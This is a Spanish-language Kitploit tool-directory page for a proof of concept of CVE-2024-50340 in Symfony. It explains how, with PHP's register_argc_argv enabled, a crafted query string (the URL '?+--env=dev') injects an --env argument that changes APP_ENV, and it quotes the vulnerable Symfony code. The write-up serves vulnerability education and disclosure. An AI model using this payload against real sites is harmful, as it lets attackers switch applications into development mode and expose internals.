Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-50340 | Kitploit
Herramientas/GitHubGitHub/nyamort/cve-2024-50340
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubnyamort/cve-2024-50340

CVE-2024-50340

Ver Repositorio
12hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC CVE-2024-50340

Requisitos

La opción register_argc_argv debe estar habilitada en el archivo de configuración de PHP (php.ini). Este ajuste carga los argumentos de línea de comandos y los parámetros de consulta en $_SERVER['argv']. https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

Explicación del código vulnerable

Este código de Symfony utiliza argumentos de entrada (ArgvInput) para determinar los valores de ciertas variables de entorno, específicamente APP_ENV y APP_DEBUG. Estas son las partes relevantes del código de Symfony:

root@kitploit:~
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();

if (isset($this->options['env'])) {
    return $this->input = $input;
}

if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
    putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}

if ($input->hasParameterOption('--no-debug', true)) {
    putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}

El código anterior procesa los argumentos proporcionados a través de ArgvInput. Si el parámetro --env se especifica en argv, actualiza la variable de entorno APP_ENV en consecuencia. De manera similar, si --no-debug está presente, establece APP_DEBUG a 0.

La clase ArgvInput

La clase ArgvInput inicializa los parámetros argv pasados a través de la línea de comandos, los parámetros de consulta o, por defecto, los de $_SERVER['argv']. La función array_shift($argv); elimina el primer elemento del array $argv (normalmente el nombre de la aplicación) y almacena los argumentos restantes en $this->tokens.

root@kitploit:~
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
    $argv ??= $_SERVER['argv'] ?? [];

    // strip the application name
    array_shift($argv);

    $this->tokens = $argv;

    parent::__construct($definition);
}

Ejemplo de PoC

Usando la siguiente URL: http://localhost/?+--env=dev, podemos inyectar un argumento --env=dev en $_SERVER['argv']. Esto nos permite cambiar el valor de APP_ENV a dev sin modificar directamente la configuración de la aplicación.

  1. Al acceder a http://localhost/?+--env=dev, $_SERVER['argv'] podría verse así:
root@kitploit:~
$_SERVER['argv'] = ["+--env=dev"];
  1. En la clase ArgvInput, después de la operación array_shift, $argv se convierte en:
root@kitploit:~
$argv = ["--env=dev"];
  1. ArgvInput reconocerá entonces --env=dev como un parámetro válido y actualizará APP_ENV en consecuencia mediante el método getParameterOption.
Descargar herramienta